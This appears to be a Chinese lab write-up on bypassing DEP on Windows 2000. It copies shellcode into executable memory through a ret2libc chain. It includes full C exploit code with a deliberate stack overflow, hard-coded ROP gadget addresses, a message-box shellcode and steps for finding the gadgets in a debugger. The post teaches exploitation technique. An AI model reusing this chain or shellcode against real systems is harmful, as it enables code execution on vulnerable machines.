9.5 利用可执行内存挑战DEP

目录

一、实验环境

二、实验思路

三、实验代码

四、实验步骤

1、寻找memcpy函数的地址

2、查看内存中可读可写可执行的内存

3、修复EBP

4、保证memcpy的源地址位于shellcode之前


一、实验环境

        操作系统:windows 2000

        软件:原版OD、VC++6.0

二、实验思路

        当进程的内存空间中存在一段可读可写可执行的内存时,将shellcode复制到这段内存中,劫持程序流程,shellcode就有执行的机会。

三、实验代码

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x4E\x3C\x71\x7D"//pop pop retn
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x08\x00\x14\x00"//弹出对机器码在可执行空间的起始地址,转入执行用
"\x00\x00\x14\x00"//可执行内存空间地址,拷贝用
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
	char tt[176];
	//__asm int 3
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

        代码简要解释:
(1)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖函数的返回地址;

(2)覆盖掉函数返回地址后,利用Ret2Libc技术,利用memcpy函数将shellcode复制到内存中的可读可写可执行区域;

(3)最后在这段可执行的内存空间中执行shellcode,实现DEP的绕过。

四、实验步骤

1、寻找memcpy函数的地址

        可以看到memcpy函数位于0x7C921DB3处,在OD中查看该地址;

        选择0x7C921DB8作为函数memcpy的切入地址。

2、查看内存中可读可写可执行的内存

        右键设置访问属性,设置为可读可写可执行。

3、修复EBP

        首先用0x90填充返回地址之前的所有栈空间,因为memcpy函数用到EBP,所以在返回地址处填上修复EBP的代码,即PUSH ESP POP EBP RETN 4。

        在内存中找一条PUSH ESP POP EBP RETN 4指令,这里选0x5D1D8B85。

4、保证memcpy的源地址位于shellcode之前

        POP EAX RETN:用eax寄存器去控制程序执行流程

          这里用0x7DCED974处的POP EAX RETN。

        EAX保存的就是POP POP RETN指令序列的开始地址:

         选择0x7D713C4E处的POP POP RETN指令序列

        PUSH ESP JMP EAX,将当前ESP值作为memcpy的第二个参数,即复制的源地址。

        选择地址:0x77EBC6C6

         POP ECX RETN:用于中转,确保执行PUSH ESP JMP EAX指令。

        选择0x7DC2BD78处的POP ECX RETN指令 。

        如图所示构造shellcode:

         注意memcpy函数的返回地址(如下图):

        执行构造的shellcode之后,程序会执行到弹窗代码,但是因为选的内存初始状态不是可读可写可执行,改完属性,也不弹窗。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值